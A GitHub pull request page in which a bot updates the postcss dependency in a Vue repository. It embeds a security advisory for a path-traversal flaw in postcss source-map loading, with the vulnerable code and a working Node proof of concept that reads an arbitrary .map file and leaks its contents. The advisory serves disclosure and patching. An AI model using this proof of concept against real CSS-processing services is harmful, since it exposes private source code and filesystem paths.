Skip to content

chore(deps): update dependency postcss to v8.5.23 [security] - #15209

Merged
edison1105 merged 1 commit into
mainfrom
renovate/npm-postcss-vulnerability
Aug 4, 2026
Merged

chore(deps): update dependency postcss to v8.5.23 [security]#15209
edison1105 merged 1 commit into
mainfrom
renovate/npm-postcss-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 4, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
postcss (source) 8.5.19 → 8.5.23 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when from is unset

CVE-2026-69153 / GHSA-fxqj-rqcc-2cmp

More information

Details

Summary

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()

Observed output on postcss 8.5.22:

no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.

Impact

Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.

Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

postcss/postcss (postcss)

v8.5.23

Compare Source

  • Do not load source map without opts.from for security reasons.

v8.5.22

Compare Source

v8.5.21

Compare Source

v8.5.20

Compare Source

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Aug 4, 2026
@pkg-pr-new

pkg-pr-new Bot commented Aug 4, 2026 •
edited
Loading

Copy link
Copy Markdown

Open in StackBlitz

@vue/compiler-core

pnpm add https://pkg.pr.new/@vue/compiler-core@15209

npm i https://pkg.pr.new/@vue/compiler-core@15209

yarn add https://pkg.pr.new/@vue/compiler-core@15209.tgz

@vue/compiler-dom

pnpm add https://pkg.pr.new/@vue/compiler-dom@15209

npm i https://pkg.pr.new/@vue/compiler-dom@15209

yarn add https://pkg.pr.new/@vue/compiler-dom@15209.tgz

@vue/compiler-sfc

pnpm add https://pkg.pr.new/@vue/compiler-sfc@15209

npm i https://pkg.pr.new/@vue/compiler-sfc@15209

yarn add https://pkg.pr.new/@vue/compiler-sfc@15209.tgz

@vue/compiler-ssr

pnpm add https://pkg.pr.new/@vue/compiler-ssr@15209

npm i https://pkg.pr.new/@vue/compiler-ssr@15209

yarn add https://pkg.pr.new/@vue/compiler-ssr@15209.tgz

@vue/reactivity

pnpm add https://pkg.pr.new/@vue/reactivity@15209

npm i https://pkg.pr.new/@vue/reactivity@15209

yarn add https://pkg.pr.new/@vue/reactivity@15209.tgz

@vue/runtime-core

pnpm add https://pkg.pr.new/@vue/runtime-core@15209

npm i https://pkg.pr.new/@vue/runtime-core@15209

yarn add https://pkg.pr.new/@vue/runtime-core@15209.tgz

@vue/runtime-dom

pnpm add https://pkg.pr.new/@vue/runtime-dom@15209

npm i https://pkg.pr.new/@vue/runtime-dom@15209

yarn add https://pkg.pr.new/@vue/runtime-dom@15209.tgz

@vue/server-renderer

pnpm add https://pkg.pr.new/@vue/server-renderer@15209

npm i https://pkg.pr.new/@vue/server-renderer@15209

yarn add https://pkg.pr.new/@vue/server-renderer@15209.tgz

@vue/shared

pnpm add https://pkg.pr.new/@vue/shared@15209

npm i https://pkg.pr.new/@vue/shared@15209

yarn add https://pkg.pr.new/@vue/shared@15209.tgz

vue

pnpm add https://pkg.pr.new/vue@15209

npm i https://pkg.pr.new/vue@15209

yarn add https://pkg.pr.new/vue@15209.tgz

@vue/compat

pnpm add https://pkg.pr.new/@vue/compat@15209

npm i https://pkg.pr.new/@vue/compat@15209

yarn add https://pkg.pr.new/@vue/compat@15209.tgz

commit: d0196a3

@pkg-pr-new

pkg-pr-new Bot commented Aug 4, 2026

Copy link
Copy Markdown

Open in StackBlitz

@vue/compiler-core

pnpm add https://pkg.pr.new/@vue/compiler-core@15209

npm i https://pkg.pr.new/@vue/compiler-core@15209

yarn add https://pkg.pr.new/@vue/compiler-core@15209.tgz

@vue/compiler-dom

pnpm add https://pkg.pr.new/@vue/compiler-dom@15209

npm i https://pkg.pr.new/@vue/compiler-dom@15209

yarn add https://pkg.pr.new/@vue/compiler-dom@15209.tgz

@vue/compiler-sfc

pnpm add https://pkg.pr.new/@vue/compiler-sfc@15209

npm i https://pkg.pr.new/@vue/compiler-sfc@15209

yarn add https://pkg.pr.new/@vue/compiler-sfc@15209.tgz

@vue/compiler-ssr

pnpm add https://pkg.pr.new/@vue/compiler-ssr@15209

npm i https://pkg.pr.new/@vue/compiler-ssr@15209

yarn add https://pkg.pr.new/@vue/compiler-ssr@15209.tgz

@vue/reactivity

pnpm add https://pkg.pr.new/@vue/reactivity@15209

npm i https://pkg.pr.new/@vue/reactivity@15209

yarn add https://pkg.pr.new/@vue/reactivity@15209.tgz

@vue/runtime-core

pnpm add https://pkg.pr.new/@vue/runtime-core@15209

npm i https://pkg.pr.new/@vue/runtime-core@15209

yarn add https://pkg.pr.new/@vue/runtime-core@15209.tgz

@vue/runtime-dom

pnpm add https://pkg.pr.new/@vue/runtime-dom@15209

npm i https://pkg.pr.new/@vue/runtime-dom@15209

yarn add https://pkg.pr.new/@vue/runtime-dom@15209.tgz

@vue/server-renderer

pnpm add https://pkg.pr.new/@vue/server-renderer@15209

npm i https://pkg.pr.new/@vue/server-renderer@15209

yarn add https://pkg.pr.new/@vue/server-renderer@15209.tgz

@vue/shared

pnpm add https://pkg.pr.new/@vue/shared@15209

npm i https://pkg.pr.new/@vue/shared@15209

yarn add https://pkg.pr.new/@vue/shared@15209.tgz

vue

pnpm add https://pkg.pr.new/vue@15209

npm i https://pkg.pr.new/vue@15209

yarn add https://pkg.pr.new/vue@15209.tgz

@vue/compat

pnpm add https://pkg.pr.new/@vue/compat@15209

npm i https://pkg.pr.new/@vue/compat@15209

yarn add https://pkg.pr.new/@vue/compat@15209.tgz

commit: 907aab6

@github-actions

github-actions Bot commented Aug 4, 2026 •
edited
Loading

Copy link
Copy Markdown

Size Report

Bundles

File Size Gzip Brotli
runtime-dom.global.prod.js 107 kB 40.6 kB 36.4 kB
vue.global.prod.js 166 kB 60.7 kB 53.9 kB

Usages

Name Size Gzip Brotli
createApp (CAPI only) 49.7 kB 19.3 kB 17.7 kB
createApp 57.8 kB 22.3 kB 20.4 kB
createSSRApp 62.5 kB 24.3 kB 22.1 kB
defineCustomElement 64.1 kB 24.3 kB 22.1 kB
overall 72.1 kB 27.5 kB 25.1 kB

@renovate
renovate Bot force-pushed the renovate/npm-postcss-vulnerability branch from 907aab6 to d0196a3 Compare August 4, 2026 07:51
@edison1105
edison1105 merged commit 3840dda into main Aug 4, 2026
15 checks passed
@edison1105
edison1105 deleted the renovate/npm-postcss-vulnerability branch August 4, 2026 07:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

@edison1105